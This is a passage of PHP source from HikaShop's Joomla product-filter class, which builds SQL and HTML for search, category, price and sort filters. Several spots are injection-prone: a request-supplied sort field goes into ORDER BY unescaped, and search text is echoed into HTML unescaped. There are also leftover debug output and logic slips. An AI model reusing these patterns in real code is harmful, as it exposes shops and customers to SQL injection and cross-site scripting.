		if(!empty($fieldsLimits)){
			$fieldsLimits=implode(', ', $fieldsLimits);
			$fieldsLimits=','.$fieldsLimits;
		}else{
			$fieldsLimits='';
		}

		$database = JFactory::getDBO();
		$query='SELECT DISTINCT b.product_id'.$fields.'
'.$copy_query;
		$database->setQuery($query);
		$datas['products']=$database->loadObjectList();
		$query='SELECT DISTINCT b.product_id'.$fieldsLimits.'
'.$copy_query;
		$database->setQuery($query);
		$datas['limits']=$database->loadObject();
		return $datas;
	}

	function cleanFilter($filter){
		if($filter->filter_type!='cursor' &&
$filter->filter_type!='instockcheckbox' &&
$filter->filter_data=='price' ){
			$currency = hikashop_getCurrency();
			if(!empty($filter->filter_options['currencies']) &&
!in_array($currency, $filter->filter_options['currencies'])){
				return false;
			}
			if(empty($filter->filter_value)){
				return false;
			}
		}
		return true;
	}

}

class hikashopFilterTypeClass extends hikashopClass{

	var $receivedFilter = '';

	function display($filter, $divName, &$parent,
$completion=''){
		$app = JFactory::getApplication();
		$cid =
JRequest::getInt("cid",'itemid_'.JRequest::getInt("Itemid",0));
		if(JRequest::getVar('reseted')==1){
			return array();
			$app->setUserState('com_hikashop.'.$cid.'_filter_'.$filter->filter_namekey.$completion,
'');
		}
		if(JRequest::getVar('filtered')==1){
			$infoGet =
JRequest::getVar('filter_'.$filter->filter_namekey.$completion);
			$app->setUserState('com_hikashop.'.$cid.'_filter_'.$filter->filter_namekey.$completion,
$infoGet);
		}else{
			$infoGet = $app->getUserStateFromRequest(
'com_hikashop.'.$cid.'_filter_'.$filter->filter_namekey.$completion,
'filter_'.$filter->filter_namekey.$completion);
		}
		if(!empty($infoGet)){
			$copyGet=$infoGet[0];
			$result=explode(',',$copyGet);
			if(!($result[0]==$infoGet[0])){
				foreach($result as $key => $res){
					$infoGet[$key]=$res;
				}
			}
		}
		return $infoGet;
	}

	function addFilter(&$filter,&$filters,&$select,&$select2,
&$a,&$b,&$on,&$order,&$parent, $divName){
		static $i = 0;
		$i++;
		$app = JFactory::getApplication();
		$database = JFactory::getDBO();
		$infoGet= array();

		static $pagination_reset = false;

		if(!$pagination_reset){
			$new_filter =
JRequest::getVar('filter_'.$filter->filter_namekey,null);

			if(!is_null($new_filter)){
				$module = hikashop_get('helper.module');
				$module->initialize($this);
				$cid =
JRequest::getInt("cid",$this->params->get('selectparentlisting'));
				if($this->params->get('content_type')!='product'){
					foreach($this->modules as $module){
						$main_div_name
='hikashop_category_information_module_'.$module->id;
						JRequest::setVar('limitstart_'.$main_div_name.'_'.$cid,0);
					}
				}else{
					JRequest::setVar('limitstart_'.$this->params->get('main_div_name').'_'.$cid,0);
				}
				$pagination_reset=true;
			}
		}

		$cid =
JRequest::getInt("cid",'itemid_'.JRequest::getInt("Itemid",0));
		if(JRequest::getVar('filtered')==1){
			$infoGet =
JRequest::getVar('filter_'.$filter->filter_namekey);
			$app->setUserState('com_hikashop.'.$cid.'_filter_'.$filter->filter_namekey,
$infoGet);
		}else{
			$infoGet = $app->getUserStateFromRequest(
'com_hikashop.'.$cid
.'_filter_'.$filter->filter_namekey,
'filter_'.$filter->filter_namekey, $infoGet, 'array'
);
		}

		if(JRequest::getVar('reseted')==1){
			$app->setUserState('com_hikashop.'.$cid.'_filter_'.$filter->filter_namekey,
'');
			return array();
		}

		if(!empty($infoGet)&& !is_array($infoGet)){
			$infoGet = array($infoGet);
		}

		if(isset($infoGet[0])){
 			$infoGet[0] = trim($infoGet[0]);
 		}

		if(isset($infoGet) && !empty($infoGet[0])){
			if($filter->filter_type=='instockcheckbox' &&
$infoGet[0]=='in_stock'){
				$filters[]=' b.product_quantity!=0 ';
			}

			if($filter->filter_type=='text'){
				if($filter->filter_name == $infoGet[0]){
					return false;
				}
				if(!empty($filter->filter_options['max_char']) &&
strlen($infoGet[0])>$filter->filter_options['max_char']){
					$app->enqueueMessage(JTEXT::_( 'TEXT_ENTERED_TOO_LONG'
));
					return false;
				}
				if(empty($filter->filter_data) ||
$filter->filter_data[0]=='all'){
					$query = 'SELECT * FROM
'.hikashop_table('product').' LIMIT 1';
					$database->setQuery($query);
					$object = $database->loadObject();
					foreach($object as $key => $obj){
						$searchField[]=$key;
					}
				}else{
					$searchField=$filter->filter_data;
				}
				$list=array();
				$translationFilters=array();
				$translationList=array();
				$fields=array();
				$searchProcessing='any';

				if(isset($filter->filter_options['searchProcessing']))
					$searchProcessing=$filter->filter_options['searchProcessing'];


				$terms=$infoGet[0];
				if(!isset($filter->filter_options['searchProcessing']))
$filter->filter_options['searchProcessing']='any';
				if($filter->filter_options['searchProcessing']=='operators'){
					$searchProcessing='any';
					if(preg_match('*. .*',$infoGet[0])){
						$searchProcessing='any';
					}
					if(preg_match('*.\+.*',$infoGet[0])){
						echo 'ok';
						$terms=str_replace('+',' ',$terms);
						$searchProcessing='every';
					}
					if(preg_match('#^(["\']).*\1$#',$infoGet[0])){
						$searchProcessing='complete';
						$terms=trim($terms, '"');
					}
				}

				if($searchProcessing=='complete'){
					$terms = array($terms);
				}else{
					$terms = explode(' ',$terms);
				}

				if(@$searchProcessing!='any'){
					foreach($terms as $term){
						$array =array();
						foreach($searchField as $column){
							$array[]=' b.'.$column.' LIKE
\'%'.hikashop_getEscaped($term, true).'%\' ';
							$fields[] = ' reference_field =
\''.$column.'\' ';
						}
						$list[]='('.implode(' OR ',
$array).')';
						$translationList[] = 'value LIKE
\'%'.hikashop_getEscaped($term, true).'%\'';
					}
					$filters[]='('.implode(' AND ',
$list).')';
					$translationFilters =  '('.implode(' AND ',
$translationList).')';
				}else{
					foreach($terms as $term){
						foreach($searchField as $column){
							$list[]=' b.'.$column.' LIKE
\'%'.hikashop_getEscaped($term, true).'%\' ';
							$fields[] = ' reference_field =
\''.$column.'\' ';
						}
						$translationList[] = 'value LIKE
\'%'.hikashop_getEscaped($term, true).'%\'';
					}
					$filters[]='('.implode(' OR ',
$list).')';
					$translationFilters =  '('.implode(' OR ',
$translationList).')';
				}


				$translationHelper = hikashop_get('helper.translation');
				if($translationHelper->isMulti(true)){
					$trans_table = 'jf_content';
					if($translationHelper->falang) {
						$trans_table = 'falang_content';
					}
					$query = 'SELECT DISTINCT reference_id FROM
'.hikashop_table($trans_table,false).' WHERE
reference_table=\'hikashop_product\' AND
'.$translationFilters.' AND ('.implode(' OR ',
$fields).') AND published=1 ORDER BY reference_id ASC';
					$this->database->setQuery($query);
					if(!HIKASHOP_J25){
						$translatedProducts= $database->loadResultArray();
					} else {
						$translatedProducts = $database->loadColumn();
					}
					if(!empty($translatedProducts)){
						$filters[] = '('.array_pop($filters).' OR b.product_id
IN ('.implode(',', $translatedProducts).'))';
					}
				}

			}

			if($filter->filter_data=='category'){
				if(!($infoGet[0]==$filter->filter_namekey &&
count($infoGet)==1)){
					$categoriesList='';
					foreach($infoGet as $cat){
						if($cat!=$filter->filter_namekey){
							$categoriesList.=(int)$cat.',';
						}
					}
					$categoriesList=substr($categoriesList,0,-1);

					$table = 'a';
					if(preg_match('#hikashop_product AS
([a-z0-9_]+)#i',$a,$matches)){
						$table = $matches[1];
					}
					$on.=' INNER JOIN
'.hikashop_table('product_category').' AS
'.$filter->filter_namekey.$i.' ON
'.$filter->filter_namekey.$i.'.product_id='.$table.'.product_id
AND '.$filter->filter_namekey.$i.'.category_id IN
('.$categoriesList.')';
				}
			}

			if($filter->filter_data=='information'||$filter->filter_data=='price'){
				$limit=array();
				$type=$filter->filter_options['product_information'];
				if($filter->filter_data=='price')
$type='price';
				$case='( '.$this->getUnitSelect($filter, $type,$i).'
)';
				$copyGet=$infoGet[0];
				$result=explode(',',$copyGet);
				if(!($result[0]==$infoGet[0])){
					foreach($result as $key => $res){
						$infoGet[(int)$key]=(int)$res;
					}
				}
				foreach($infoGet as $slice){
					$values=explode('::', $slice);
					if(empty($values[0])){ $limit[]=' '.$case.' <=
'.(int)$values[1].' '; }
					else if(empty($values[1])){ $limit[]=' '.$case.' >=
'.(int)$values[0].' '; }
					else{ $limit[]=' '.$case.' BETWEEN
'.(int)$values[0].' AND '.(int)$values[1].' '; }
				}
				$filters[]=' ('.implode('OR', $limit).')
';
			}

			if($filter->filter_data=='characteristic'){
				if(!($infoGet[0]==$filter->filter_namekey &&
count($infoGet)==1)){
					$charList='';
					foreach($infoGet as $charac){
						$charList.=(int)$charac.',';
					}
					$charList=substr($charList,0,-1);

					if(strpos($on,' LEFT JOIN
'.hikashop_table('product').' AS c ON
b.product_id=c.product_parent_id')===false){
						$on.=' LEFT JOIN
'.hikashop_table('product').' AS c ON
b.product_id=c.product_parent_id';
					}
					$on.=' LEFT JOIN
'.hikashop_table('variant').' AS
'.$filter->filter_namekey.$i.' ON
'.$filter->filter_namekey.$i.'.variant_product_id=c.product_id';
					$filters[]='
'.$filter->filter_namekey.$i.'.variant_characteristic_id IN
('.$charList.') ';
					$filters[]=' c.product_quantity!=0 ';
				}
			}

			if($filter->filter_data=='quantity'){
				if(!($infoGet[0]==$filter->filter_namekey &&
count($infoGet)==1)){
					$filters[]=' b.product_quantity!=0 ';
				}
			}

			if($filter->filter_data=='custom_field'){
				if(empty($filter->filter_value)){
					if(!($infoGet[0]==$filter->filter_namekey &&
count($infoGet)==1)){
						$fieldsList=array();
						foreach($infoGet as $field){
							if($field!=$filter->filter_namekey && $field!='
'){
									$fieldsList[]='b.'.$filter->filter_options['custom_field'].'
LIKE \'%'.hikashop_getEscaped($field,true).'%\'';
								}
						}
						if(!empty($fieldsList)){
							$fieldsList='('.implode(' OR
',$fieldsList).')';
							$filters[]=$fieldsList;
						}
					}
				}else{
					foreach($infoGet as $slice){
						$values=explode('::', $slice);
						if(empty($values[0])){ $limit[]='
b.'.$filter->filter_options['custom_field'].' <=
'.(int)$values[1].' '; }
						else if(empty($values[1])){ $limit[]='
b.'.$filter->filter_options['custom_field'].' >=
'.(int)$values[0].' '; }
						else{ $limit[]='
b.'.$filter->filter_options['custom_field'].'
BETWEEN '.(int)$values[0].' AND '.(int)$values[1].'
'; }
					}
					$filters[]=' ('.implode('OR', $limit).')
';

				}
			}

			$infos=explode('--',$infoGet[0]);
			$sort_by_price=false;
			if(isset($filter->filter_options['sort_by'])){
				if(!is_array($filter->filter_options['sort_by'])){
					$temp = $filter->filter_options['sort_by'];
					$filter->filter_options['sort_by'] = array();
					$filter->filter_options['sort_by'][] = $temp;
				}
				foreach($filter->filter_options['sort_by'] as $sort_by){
					if($sort_by=="price"){ $sort_by_price=true; }
				}
			}
			if(isset($infos[1]) &&
($filter->filter_data=='sort' && $sort_by_price
&& (($infos[1]=='lth') ||
($infos[1]=='htl')))||
$filter->filter_data=='price'){
				$subfilters = array();
				$where = '';
				hikashop_addACLFilters($subfilters,'price_access','price'.$i,2,true);
				$subfilters[]='product'.$i.'.product_type=\'main\'';
				$where = ' WHERE '.implode(' AND ',$subfilters);
				$subquery ='SELECT * FROM
'.hikashop_table('product').' AS
product'.$i.' LEFT JOIN 
'.hikashop_table('price').' AS price'.$i.' ON
product'.$i.'.product_id=price'.$i.'.price_product_id
'.$where.' GROUP BY product'.$i.'.product_id ORDER BY
price'.$i.'.price_min_quantity ASC';
				$a = '('.$subquery.') AS b';
			}

			if($filter->filter_data=='sort' &&
isset($infoGet[0]) && $infoGet[0]!='none'){
				$type=$infos[0];
				$case=$this->getUnitSelect($filter, $type, $i);
				if(!empty($case)){
					$select2.=' ,'.$case.' as
product_'.$type.'_normalized';
					if($infos[1]=='lth'){
						$order= ' ORDER BY product_'.$type.'_normalized*1
ASC';
					}else{
						$order= ' ORDER BY product_'.$type.'_normalized*1
DESC';
					}
				}else{
					if($infos[1]=='lth'){
						$order= ' ORDER BY '.$type.' ASC';
					}else{
						$order= ' ORDER BY '.$type.' DESC';
					}
				}

			}

			if($filter->filter_data=='manufacturers'){
				if(!($infoGet[0]==$filter->filter_namekey &&
count($infoGet)==1)){
					$manufacturerList='';
					foreach($infoGet as $manufacturer_id){
						$manufacturerList.=(int)$manufacturer_id.',';
					}
					$manufacturerList=substr($manufacturerList,0,-1);
					$on.=' INNER JOIN 
'.hikashop_table('category').' AS
'.$filter->filter_namekey.$i.' ON
'.$filter->filter_namekey.$i.'.category_id=b.product_manufacturer_id
AND b.product_manufacturer_id IN ('.$manufacturerList.') ';
				}
			}

			if($filter->filter_type=='cursor'){
				if(empty($infoGet[0])){
					return false;
				}
				$infoGet = $app->getUserStateFromRequest(
$parent->paramBase.'filter_'.$filter->filter_namekey.'_values',
'filter_'.$filter->filter_namekey.'_values',
$infoGet, 'array' );

				if(is_array($infoGet)){
					$data =& $infoGet[0];
				}else{
					$data =& $infoGet;
				}

				$values=explode(' - ', $data);

				if(count($values)!=2 ||
($values[0]==$filter->filter_options['cursor_min'] &&
$values[1]==$filter->filter_options['cursor_max'])){
					return false;
				}

				if(in_array($filter->filter_data,array('weight','length','width','height','surface','volume','price'))){
					$type=$filter->filter_data;
							$case='( '.$this->getUnitSelect($filter, $type,
$i).' )';
					$limit=' '.$case.' BETWEEN
'.(int)$values[0].' AND '.(int)$values[1].' ';
				}else{
					$limit=' b.'.$filter->filter_data.' BETWEEN
'.(int)$values[0].' AND '.(int)$values[1].' ';
				}
				$filters[]=$limit;
			}

		}else{
			return false;
		}
	}

	function getFieldToLoad($filter, $divName, &$parent){
		if($filter->filter_type=='text'){ return ''; }

		if($filter->filter_data=='category'){ return
'a.category_id'; }

		if($filter->filter_data=='information'){ return
'b.product_'.$filter->filter_options['product_information'];
}

		if($filter->filter_data=='characteristic'){ return
''; }

		if($filter->filter_data=='custom_field' &&
!empty($filter->filter_options['custom_field'])){ return
'b.'.$filter->filter_options['custom_field']; }

		if($filter->filter_data=='sort' ){ return ''; }

		if($filter->filter_data=='manufacturers'){ return
''; }

		if($filter->filter_type=='cursor'){
			if($filter->filter_data=='weight' ||
$filter->filter_data=='length' ||
$filter->filter_data=='width' ||
$filter->filter_data=='height' ||
$filter->filter_data=='surface' ||
$filter->filter_data=='volume'){
				if($filter->filter_data=='surface'){
				return 'b.product_width*b.product_length';
				}
				if($filter->filter_data=='volume'){
					return 'b.product_width*b.product_length*b.product_height';
				}
				return 'b.product_'.$filter->filter_data;
			}
			if($filter->filter_data=='price'){
				return '';
			}
			return 'b.'.$filter->filter_data;
		}
		return '';
	}

	function displayInList($filter, $divName, $selected, $tab=""){
		$html='';
		$br='<br/>';

		if($filter->filter_type=='text'){
			$html.='<a class="hikashop_filter_list_selected"
style="font-weight:bold">'.$selected[0].'</a>,
';
			$html=$this->getDeleteButton($filter, $divName, $selected[0].'
', $html, $br);
		}

		if($filter->filter_data=='category'){
			$categories_name=$this->getCategories($filter);
			$val='';
			foreach($categories_name as $cat){
				if(is_array($selected) && in_array($cat->category_id,
$selected)){
					$html.='<a class="hikashop_filter_list_selected"
style="font-weight:bold">'.$cat->category_name.'</a>,
';
					$val.=$cat->category_id.',';
				}
			}
			$html=$this->getDeleteButton($filter, $divName, $val, $html, $br);
		}

		if(($filter->filter_data=='price' ||
$filter->filter_data=='information') &&
!empty($filter->filter_value)){
			if($this->checkCurrency($filter)==false){ return false;}
			$size=count($filter->filter_value);
			$val='';
			foreach($filter->filter_value as $key => $value){
				list($formatVal, $oldVal)=$this->formatUnits($filter, $key,
$value);
				if($key==0 && is_array($selected) &&
in_array('::'.$value, $selected)){
					$val.='::'.$value.',';
					$html.='<a class="hikashop_filter_list_selected"
style="font-weight:bold">'.JText::sprintf('X_AND_INFERIOR',$formatVal).'</a>,
';
				}else if($key!=0 && is_array($selected) &&
in_array($filter->filter_value[$key-1].'::'.$value,
$selected)) {
					$val.=$filter->filter_value[$key-1].'::'.$value.',';
					$html.='<a class="hikashop_filter_list_selected"
style="font-weight:bold">'.JText::sprintf('FROM_X_TO_Y',
$oldVal, $formatVal ).'</a>, ';
				}
				if($key==$size-1 && is_array($selected) &&
in_array($value.'::', $selected)){
					$val.=$value.'::,';
					$html.='<a class="hikashop_filter_list_selected"
style="font-weight:bold">'.JText::sprintf('X_AND_SUPERIOR',
$formatVal ).'</a>, ';
				}
			}
			$html=$this->getDeleteButton($filter, $divName, $val, $html, $br);
		}

		if($filter->filter_data=='characteristic'){
			$characteristic_values=$this->getCharacteristics($filter);
			$values='';
			foreach($characteristic_values as $val){
				if(!empty($selected) && is_array($selected) &&
in_array($val->characteristic_id, $selected)){
					$html.='> <a
class="hikashop_filter_list_selected"
style="font-weight:bold">'.$val->characteristic_value.'</a>,
';
					$values.=$val->characteristic_id.',';
				}
			}
			$html=$this->getDeleteButton($filter, $divName, $values, $html,
$br);
		}

		if($filter->filter_data=='manufacturers'){
			$manufacturers=$this->getManufacturers($filter);
			$val='';
			foreach($manufacturers as $manufacturer){
				if(!empty($selected) && is_array($selected) &&
in_array($manufacturer->category_id, $selected)){
					$html.='> <a
class="hikashop_filter_list_selected"
style="font-weight:bold">'.$manufacturer->category_name.'</a>,
';
					$val.=$manufacturer->category_id.',';
				}
			}
			$html=$this->getDeleteButton($filter, $divName, $val, $html,$br);
		}

		if($filter->filter_data=='custom_field'){
			$field=$this->getFields($filter);
			if(is_array($field)) $field=reset($field);
			$values='';
			if(isset($field->field_value) &&
is_array($field->field_value)){
				foreach($field->field_value as $val){
					if(!empty($selected) && is_array($selected) &&
in_array($val[0], $selected)){
						$html.='> <a
class="hikashop_filter_list_selected"
style="font-weight:bold">'.JText::_($val[1]).'</a>,
';
						$values.=$val[0].',';
					}
				}

			}else{
				if(is_array($selected)){
					$value = implode(' - ',$selected);
				}
				$value = str_replace('::',' - ',$value);
				$html.='> <a class="hikashop_filter_list_selected"
style="font-weight:bold">'.$value.'</a>,
';
			}
			$html=$this->getDeleteButton($filter, $divName, $selected, $html,
$br);
		}

		if($filter->filter_data=='sort'){
			if($selected[0]=='lth'){
				$html.='> <a class="hikashop_filter_list_selected"
style="font-weight:bold">'.JText::_('ASCENDING'
).'</a>, ';
			}
			if($selected[0]=='htl'){
				$html.='> <a class="hikashop_filter_list_selected"
style="font-weight:bold">'.JText::_('DESCENDING'
).'</a>, ';
			}
			$html=$this->getDeleteButton($filter, $divName,
$selected[0].',', $html, $br);
		}

		if($filter->filter_type=='cursor'){
			if(!is_array($selected)){
				$selected=explode(' - ', $selected[0]);
			}
			$html='<a class="hikashop_filter_list_selected"
style="font-weight:bold">'.$selected[0].' -
'.$selected[1].'</a>, ';
			$html=$this->getDeleteButton($filter, $divName, 11, $html, $br);
		}

		$html=$this->titlePosition($filter, $html, true);
		return $html;
	}

	function getDeleteButton($filter, $divName, $val, $html, $br,
$onlyButton=false, $id=''){
		if($onlyButton){
			if(empty($id)){
$id='filter_'.$filter->filter_namekey.'_'.$divName;
}
			return '<a href="#" style="cursor:pointer;
text-decoration:none"
onclick="document.getElementById(\''.$id.'\').value=\'
\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();return
false;"><img
src="'.HIKASHOP_IMAGES.'delete2.png"
/></a>';
		}
		$html=substr($html,0,-2);
		if(is_array($val)){
			foreach($val as $v){
				$html.='<input type="hidden"
name="filter_'.$filter->filter_namekey.'[]"
id="filter_'.$filter->filter_namekey.'_'.$divName.'"
value="'.$v.'" />';
			}
		}else{
			if($filter->filter_data=='sort'){
				if(isset($val) && !empty($val)){
					$selected=explode('--',$val);
					$selected[1]=substr($selected[1], 0, 3);
				}

				if(isset($fields[$selected[0]])){
$typeName=$fields[$selected[0]]->field_realname; }
				else if($selected[0]=='b.product_name'){ $typeName=
JText::_('PRODUCT_NAME'); }
				else if($selected[0]=='price'){ $typeName=
JText::_('PRICE'); }
				else if($selected[0]=='b.product_average_score'){ $typeName=
JText::_('RATING'); }
				else if($selected[0]=='b.product_created' ||
$theType=='b.product_modified'){ $typeName=
JText::_('RECENT'); }
				else if($selected[0]=='b.product_sales'){ $typeName=
JText::_('SALES'); }
				else if($selected[0]=='b.product_hit'){ $typeName=
JText::_('CLICKS'); }
				else{ $typeName=JText::_('PRODUCT_'.$selected[0]);	}

				if(JText::_('SORT_ASCENDING_'.$typeName)!='SORT_ASCENDING_'.$typeName){
$asc_name=JText::_('SORT_ASCENDING_'.$typeName); }
				else{ $asc_name=JText::sprintf('SORT_ASCENDING', $typeName);
}

				if(JText::_('SORT_DESCENDING_'.$typeName)!='SORT_DESCENDING_'.$typeName){
$desc_name=JText::_('SORT_DESCENDING_'.$typeName); }
				else{ $desc_name=JText::sprintf('SORT_DESCENDING',
$typeName); }

				if($selected[1]=='lth'){
$html.='<span>'.$asc_name.'</span>'; }
				else{ 
$html.='<span>'.$desc_name.'</span>'; }
			}
			$val=substr($val,0,-1);
			$html.='<input type="hidden"
name="filter_'.$filter->filter_namekey.'"
id="filter_'.$filter->filter_namekey.'_'.$divName.'"
value="'.$val.'" />';
		}
		$html.='  <a href="#" style="cursor:pointer;
text-decoration:none"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\'
\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();return
false;"><img
src="'.HIKASHOP_IMAGES.'delete2.png"
/></a><br/>';
		return $html;
	}

	function getUnitSelect($filter, $type, $i=0){
		$case=' case';
		$weightHelper=hikashop_get('helper.weight');
		$volumeHelper=hikashop_get('helper.volume');
		$config =& hikashop_config();
		$defaulUnit='cm';
		if($type=='weight'){
			$infoType='b.product_weight';
			$unitType='b.product_weight_unit';
			$units=$weightHelper->conversion;
			$defaulUnit='kg';
		}else if($type=='volume'){
			$infoType='(b.product_width*b.product_length*b.product_height)';
			$unitType='b.product_dimension_unit';
			$units=$volumeHelper->conversion;
		}else if($type=='surface'){
			$infoType[]='b.product_width';
			$infoType[]='b.product_length';
			$unitType='b.product_dimension_unit';
			$units=$volumeHelper->conversionDimension;
		}else if($type=='height' || $type=='length' ||
$type=='width'){
			$unitType='b.product_dimension_unit';
			$units=$volumeHelper->conversionDimension;
			if($type=='height'){
$infoType='b.product_height';	}
			if($type=='length'){
$infoType='b.product_length';	}
			if($type=='width'){ $infoType='b.product_width';	}
		}elseif($type=='price'){
			$currentCurrency = hikashop_getCurrency();
			$unitType='b.price_value';
			$currencyType = hikashop_get('type.currency');
			$currencyClass = hikashop_get('class.currency');
			$dstCurrency = $currencyClass->get($currentCurrency);
			$currencyType->load(0);
			$currencies = $currencyType->currencies;
			$config =& hikashop_config();
			$main_currency = $config->get('main_currency',1);
			if($config->get('price_with_tax')){
				$categoryClass=hikashop_get('class.category');
				$main = 'tax';
				$categoryClass->getMainElement($main);
				$tax_categories = $categoryClass->getChilds($main);
				$taxes = array();
				foreach($tax_categories as $tax_category){
					$taxes[$tax_category->category_id] =
(float)$currencyClass->getTax(hikashop_getZone(),$tax_category->category_id);
				}
				$taxes[0] = 0;
			}
			foreach($currencies as $currency){

				$calculatedVal=$unitType;
				if($main_currency!=$currency->currency_id){
					if(bccomp($currency->currency_percent_fee,0,2)){
						$calculatedVal='('.$calculatedVal.'*'.(floatval($currency->currency_percent_fee+100)/100.0).')';
					}
					$calculatedVal='('.$calculatedVal.'/'.floatval($currency->currency_rate).')';
				}
				if($main_currency!=$currentCurrency){
					$calculatedVal='('.$calculatedVal.'*'.floatval($dstCurrency->currency_rate).')';
					if(bccomp($dstCurrency->currency_percent_fee,0,2)){
						$calculatedVal='('.$calculatedVal.'*'.(floatval($dstCurrency->currency_percent_fee+100)/100.0).')';
					}
				}else{
					$case .= ' when b.price_currency_id IS NULL then 0';
				}
				if(!empty($taxes)){
					$ids=array();
					foreach($taxes as $id => $tax){
						if($id!=0){
							$ids[]=$id;
							$case .= ' when b.price_currency_id =
\''.$currency->currency_id.'\' and b.product_tax_id
= \''.$id.'\' then
'.$calculatedVal.'+'.$calculatedVal.'*'.$tax;
						}
					}
					$case .= ' when b.price_currency_id =
\''.$currency->currency_id.'\' and b.product_tax_id
NOT IN
(\''.implode('\',\'',$ids).'\')
then '.$calculatedVal;
				}else{
					$case .= ' when b.price_currency_id =
\''.$currency->currency_id.'\' then
'.$calculatedVal;
				}

			}
			$case.= ' end ';
			return $case;
		}else{
			return '';
		}

		if(isset($filter->filter_options['information_unit'])){
			$selectedUnit=$filter->filter_options['information_unit'];
		}else{
			$selectedUnit=$defaulUnit;
		}
		foreach( $units as $key => $unit){
			$calculatedVal='';
			if($key==$selectedUnit){ $val=1; }
			else{ $val=$unit[$selectedUnit]; }
			if(is_array($infoType)){
				foreach($infoType as $type){
					$calculatedVal.='('.$type.'*'.$val.')*';
				}
				$calculatedVal=substr($calculatedVal,0,-1);
			}else{
				$calculatedVal=$infoType.'*'.$val;
			}
			$case .= ' when '.$unitType.' =
\''.$key.'\' then '.$calculatedVal;
		}
		$case.= ' else '.$unitType.' end ';
		return $case;
	}

	function titlePosition($filter, $html='', $list=false,
$opt=''){
		$name=$this->trans($filter->filter_name);
		if($list &&
$filter->filter_options['title_position']='inside'){
			$position='top';
		}
		else{
			$position=$filter->filter_options['title_position'];
		}
		switch ($position){
			case 'bottom':
				$html=$html.'<br/>'.$name.' '.$opt;
				break;
			case 'top':
				$html=$name.' '.$opt.'<br/>'.$html;
				break;
			case 'left':
				$html=$name.' '.$opt.' '.$html;
				break;
			case 'right':
				$html=$html.' '.$name.' '.$opt;
				break;
		}
		return $html;
	}

	function trans($name){
		$val =
preg_replace('#[^a-z0-9]#i','_',strtoupper($name));
		$trans = JText::_($val);
		if($val==$trans){
			$trans = $name;
		}
		return '<span
class="hikashop_filter_title">'.$trans.'</span>';
	}

	function getCategories($filter, $datas=''){
		$optionElement=''; $left='';
		if(!empty($datas['products'])){
			$left=' LEFT JOIN
'.hikashop_table('product_category').' AS b ON
a.category_id=b.category_id ';
		foreach($datas['products'] as $data){
			$optionElement[$data->product_id]=$data->product_id;
		}
		$optionElement='AND b.product_id IN ('.implode(',',
$optionElement).')';
		}
		if(!empty($filter->filter_options['parent_category_id'])){
			$parentCat=$filter->filter_options['parent_category_id'];
		}else{
			$parentCat=0;
		}
		$database = JFactory::getDBO();
		$query='SELECT * FROM
'.hikashop_table('category').' AS a '.$left.'
WHERE category_parent_id='.$parentCat.'
'.$optionElement.' ORDER BY a.category_ordering ASC';
		$database->setQuery($query);
		$categories_name=$database->loadObjectList('category_id');
		return $categories_name;
	}

	function getCharacteristics($filter, $datas=''){
		$optionElement=''; $left='';
		$database = JFactory::getDBO();
		if(!empty($datas['products'])){
			$left=' LEFT JOIN '.hikashop_table('variant').'
AS b ON a.characteristic_id=b.variant_characteristic_id ';
			$option_pid = array();
			foreach($datas['products'] as $data){
				$option_pid[$data->product_id]=$data->product_id;
			}
			$query='SELECT product_id FROM
'.hikashop_table('product').' WHERE product_parent_id
IN ('.implode(',',$option_pid).')';
			$database->setQuery($query);
			$results = $database->loadObjectList();
			$result_pid = array();
			foreach($results as $result){
				$result_pid[] = $result->product_id;
			}
			if(!empty($result_pid))
				$optionElement='AND b.variant_product_id IN
('.implode(',', $result_pid).')';
		}
		$config =& hikashop_config();
		$sort = $config->get('characteristics_values_sorting');
		if($sort=='old'){
			$order = 'characteristic_id ASC';
		}elseif($sort=='alias'){
			$order = 'characteristic_alias ASC';
		}elseif($sort=='ordering'){
			$order = 'characteristic_ordering ASC';
		}else{
			$order = 'characteristic_value ASC';
		}
		$query='SELECT DISTINCT a.* FROM
'.hikashop_table('characteristic').' AS a
'.$left.' WHERE
characteristic_parent_id='.$filter->filter_options['filter_charac'].'
'.$optionElement.' ORDER BY a.'.$order;
		$database->setQuery($query);
		$characteristic_values=$database->loadObjectList();
		return $characteristic_values;
	}

	function getManufacturers($filter, $datas=''){
		$optionElement=''; $left='';
		if(!empty($datas['products'])){
			$left=' LEFT JOIN '.hikashop_table('product').'
AS b ON a.category_id=b.product_manufacturer_id ';
			foreach($datas['products'] as $data){
				$optionElement[$data->product_id]=$data->product_id;
			}
			$optionElement='AND b.product_id IN ('.implode(',',
$optionElement).')';
		}
		$database = JFactory::getDBO();
		$query='SELECT a.* FROM
'.hikashop_table('category').' AS a '.$left.'
WHERE a.category_type="manufacturer" AND
a.category_parent_id!=\'1\' '.$optionElement.' AND
a.category_published=1 ORDER BY a.category_ordering ASC';
		$database->setQuery($query);
		$manufacturers=$database->loadObjectList('category_id');
		return $manufacturers;
	}

	function getFields($filter, $datas=''){
		$database = JFactory::getDBO();
		$query='SELECT * FROM
'.hikashop_table('field').' WHERE field_namekey =
\''.$filter->filter_options['custom_field'].'\'';
		$database->setQuery($query);
		$field=$database->loadObject();

		if(!empty($datas['products'])){
			foreach($datas['products'] as $data){
				$optionElement[$data->product_id]=(int)$data->product_id;
			}
			$optionElement='product_id IN ('.implode(',',
$optionElement).')';

			$query='SELECT DISTINCT
'.$filter->filter_options['custom_field'].' FROM
'.hikashop_table('product').' WHERE
'.$optionElement.'';
			$database->setQuery($query);
			if(!HIKASHOP_J25){
				$values=$database->loadResultArray();
			} else {
				$values=$database->loadColumn();
			}
			foreach($values as $val){
				$els = explode(',',$val);
				if(count($els)>1){
					foreach($els as $el){
						$values[]=$el;
					}
				}
			}
		}

		if(!empty($field->field_value)){
			$field->field_value=explode("\n", $field->field_value);
			$unset=array();
			foreach($field->field_value as $key => $val){
				$temp=explode("::", $val);
				if(!empty($datas['products']) &&
!in_array($temp[0],$values)){
					$unset[]=$key;
				}else{
					$field->field_value[$key]=array($temp[0],$temp[1]);
				}
			}
			if(!empty($unset)){
				foreach($unset as $u){
					unset($field->field_value[$u]);
				}
			}
		}

		return $field;
	}

	function formatUnits($filter, $key, $value){
		$currencyClass = hikashop_get('class.currency');
		$currency = hikashop_getCurrency();
		$formatVal= $value;
		$oldVal=0;
		if($key!=0){ $oldVal=$filter->filter_value[$key-1]; }
		if($filter->filter_data=='price'){
			$formatVal=$currencyClass->format($formatVal,$currency);
			if($key!=0){  $oldVal=$currencyClass->format($oldVal,$currency); }
		}else
